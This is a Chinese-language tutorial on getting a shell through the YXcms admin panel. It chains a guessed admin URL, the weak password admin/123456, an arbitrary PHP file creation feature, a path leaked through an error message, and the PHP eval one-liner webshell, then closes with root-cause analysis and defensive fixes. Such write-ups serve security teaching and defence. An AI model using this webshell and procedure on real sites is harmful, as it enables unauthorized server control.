YXcms后台插马拿shell
字数 1148 2025-08-09 23:12:49
YXcms后台漏洞利用与Getshell教学文档
1. 漏洞概述
本教学文档详细分析YXcms系统中存在的多个安全漏洞,包括:
- 后台路径暴露
- 弱口令漏洞
- 任意文件创建/上传漏洞
- 路径信息泄露
通过这些漏洞的组合利用,攻击者可以获取系统管理员权限并上传Webshell控制服务器。
2. 漏洞发现过程
2.1 后台路径发现
- 初始URL分析:
- 普通用户登录URL:
index.php?r=member - 尝试修改为:
index.php?r=admin/index/login→ 成功暴露后台登录界面
- 普通用户登录URL:
2.2 弱口令突破
- 尝试常见弱口令组合:
- 用户名:
admin - 密码:
123456 - 成功登录后台管理系统
- 用户名:
3. 漏洞利用详细步骤
3.1 任意文件创建漏洞利用
-
定位漏洞点:
- 在前台模块修改功能处存在任意文件创建漏洞
-
测试PHP文件创建:
<?php phpinfo(); ?>- 系统未进行有效过滤,直接创建成功
3.2 文件路径获取
- 通过错误信息泄露路径:
- 故意输入非法文件名触发错误
- 获取关键路径信息:
Warning: file_put_contents(C:\phpStudy\WWW\yxcms\protected\apps/default/view/default/?.php): failed to open stream: Invalid argument in C:\phpStudy\WWW\yxcms\protected\apps\admin\controller\setController.php on line 153 - 解析出Web目录结构:
- 根目录:
C:\phpStudy\WWW\yxcms\ - 文件存放路径:
protected\apps/default/view/default/
- 根目录:
3.3 Webshell上传与连接
-
上传完整Webshell:
- 使用PHP一句话木马:
<?php @eval($_POST['cmd']); ?>
- 使用PHP一句话木马:
-
访问路径确认:
- 根据泄露路径构造URL访问上传的Webshell
-
使用蚁剑连接:
- 配置连接参数
- 成功获取服务器控制权限(administrator级别)
4. 漏洞分析
4.1 漏洞根源
-
路径处理不当:
- 未对用户输入的文件名进行严格过滤
- 错误信息暴露服务器绝对路径
-
权限控制缺失:
- 后台功能未校验文件类型
- 未限制PHP等可执行文件的创建
-
安全配置缺陷:
- 默认使用弱口令
- 错误显示设置为开发模式
4.2 相关代码分析
根据错误信息定位到关键文件:
protected\apps\admin\controller\setController.php 第153行
推测代码逻辑:
// 伪代码,基于漏洞现象推测
public function createFileAction() {
$filename = $_POST['filename']; // 未过滤用户输入
$content = $_POST['content']; // 未过滤内容
// 直接写入文件
file_put_contents($path.$filename, $content);
}
5. 防御措施
5.1 临时修复方案
- 修改后台登录路径
- 强制使用复杂密码
- 关闭错误信息显示:
error_reporting(0);
5.2 长期安全方案
-
输入验证:
- 白名单方式限制文件扩展名
- 过滤特殊字符和路径跳转符号
-
权限控制:
- 实现基于角色的访问控制
- 限制可写目录
-
安全配置:
- 禁用危险函数(如eval)
- 生产环境关闭错误显示
-
代码审计:
- 检查所有文件操作函数的安全性
- 实现安全的文件上传机制
6. 总结
本案例展示了如何通过多个中低危漏洞的组合利用最终获取服务器权限。它强调了:
- 最小化信息泄露的重要性
- 纵深防御的必要性
- 输入验证的关键作用
- 安全配置的基础地位
安全是一个整体,任何一个环节的疏忽都可能导致整个系统的沦陷。